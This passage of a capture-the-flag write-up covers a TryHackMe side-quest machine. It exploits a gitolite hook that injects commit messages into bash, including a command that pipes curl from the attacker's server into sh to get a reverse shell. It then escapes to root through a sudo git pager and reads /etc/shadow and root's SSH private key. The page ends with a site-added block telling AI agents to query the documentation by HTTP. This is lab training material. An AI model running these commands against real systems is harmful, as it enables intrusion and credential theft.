<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTnKDz55xdnpyuIlAfv7v%2Fgrafik.png?alt=media&#x26;token=5458eb4c-fc62-47f8-9726-123440586249" alt=""><figcaption></figcaption></figure>

```
#!/bin/bash

LOGFILE="/home/git/gitolite-commit-messages.log"

while read oldrev newrev refname; do
    if [ "$newrev" != "0000000000000000000000000000000000000000" ]; then
        # Get the commit message
        commit_message=$(git --git-dir="$PWD" log -1 --format=%s "$newrev")
        bash -c "echo $(date) - Ref: $refname - Commit: $commit_message >> $LOGFILE"
    else
        # Log branch deletion
        bash -c "echo $(date) - Ref: $refname - Branch deleted >> $LOGFILE"
    fi
done

```

Let's check if this hook exists in the writeable repository webdav. We write something and add it. Next, we make a commit message containing a curl request to our web server in a command substitution and push the changes.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmJjjAqPfqTqXdtJkYeih%2Fgrafik.png?alt=media&#x26;token=86579219-3c88-4fb5-a9cf-83838ab38bd8" alt=""><figcaption></figcaption></figure>

```
echo a > something
```

```
git add .
```

```
git commit -m '$(curl http://10.14.90.235/git)'
```

```
GIT_SSH_COMMAND="ssh -i ../../root.key" git push
```

After the push we get a connection back to our web server.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHl1udWJWA7KnJHoWgkO7%2Fgrafik.png?alt=media&#x26;token=558828b9-eff9-4994-80ce-f9384d245a22" alt=""><figcaption></figcaption></figure>

Now we change something again and this time we download and execute a reverse shell.

```
echo b > something
```

```
git add .
```

```
git commit -m '$(curl http://10.14.90.235/shell|sh)'
```

```
GIT_SSH_COMMAND="ssh -i ../../root.key" git push
```

Once we have pushed our changes we get a connection back to our web server.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fd06YsMQc2QbCGvYcf3u2%2Fgrafik.png?alt=media&#x26;token=965cde36-1770-4543-8089-20466e85df98" alt=""><figcaption></figcaption></figure>

... and to our listener. We are now `user git` on the host.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUb2ccWcls2aFc4hHfnUr%2Fgrafik.png?alt=media&#x26;token=5add29e3-b213-4cca-a7a8-0dfb1c6651aa" alt=""><figcaption></figcaption></figure>

The third flag can be found in the home directory of the user `git`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXqdbHIItVCTU4fvHn60Y%2Fgrafik.png?alt=media&#x26;token=69d27755-1444-4022-8da9-2fdfc8e73a66" alt=""><figcaption></figcaption></figure>

## Flag 4 - Shell As Root On Host

### Strange no --no-pager escape

We are allowed to run /usr/bin/git --no-pager diff --help as root without a password using sudo. The command `/usr/bin/git --no-pager diff` performs a Git diff operation, but it disables the default use of a pager, such as `less`, for viewing the output. Theoretically, we could now read arbitrary files with `/usr/bin/git --no-pager diff /dev/null /path/to/file/to/read`.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCYn9wS18nx2N8M1uIqIE%2Fgrafik.png?alt=media&#x26;token=067275d9-98e8-4da3-b572-7ba35e97ca3f" alt=""><figcaption></figcaption></figure>

If we could be in a pager like less, we could escape via `!/bin/sh` in the context of root. But the tag `--no-pager` is used, which circumvents it. Strangely, the tag `--help` without providing further parameters for diff does bring us to a pager we can escape. After running `!/bin/sh`...

```
sudo /usr/bin/git --no-pager diff --help
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8R3nIGmb8wzlHIrPzxWh%2Fgrafik.png?alt=media&#x26;token=fc8b4903-fbd7-488f-98ce-102806ff92ce" alt=""><figcaption></figcaption></figure>

We are `root` and can read the final flag in the home directory of the `root` user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FobDcwKa8CIHoZKGJutC6%2Fgrafik.png?alt=media&#x26;token=3d008331-43c9-43bf-9504-ee19f97a1037" alt=""><figcaption></figcaption></figure>

### GTFOBins

Like mentioned before, we could also read now arbitrary files, since it is executed with root permission.

{% embed url="<https://gtfobins.github.io/gtfobins/git/#file-read>" %}

For example, we could read the `/etc/shadow` file.

```
sudo /usr/bin/git --no-pager diff /dev/null /etc/shadow
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuV3lasrsRByqgH4Ue0Kt%2Fgrafik.png?alt=media&#x26;token=2c6fa347-8ca6-459b-a533-d9b02f93b1aa" alt=""><figcaption></figcaption></figure>

But we cannot read the `id_rsa` in `/root/.ssh/` because it is not there. Fortunately, the `authorized_keys` file is present, and we find some other key types in use.

```
sudo /usr/bin/git --no-pager diff /dev/null /root/.ssh/authorized_keys
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRtP4kjSUQV67jwfHJph7%2Fgrafik.png?alt=media&#x26;token=0e952f66-dace-4fba-a504-561a3bbe8bed" alt=""><figcaption></figcaption></figure>

We try to read `/root/.ssh/id_ecdsa` and do find a private key.

```
sudo /usr/bin/git --no-pager diff /dev/null /root/.ssh/id_ecdsa
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMJQ0AAPBHV3FJhNRHd2O%2Fgrafik.png?alt=media&#x26;token=929ca621-e8f8-432d-9646-0f4d40aa6f03" alt=""><figcaption></figcaption></figure>

We copy the key, change the permissions and use it to connect to the host as `root`.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkdmLzTdD3aWtX2S3K4Ro%2Fgrafik.png?alt=media&#x26;token=450918d0-7193-41d4-a2fd-4dcefeb20d8d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/advent-of-cyber-24-side-quest/t5-an-avalanche-of-web-apps.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
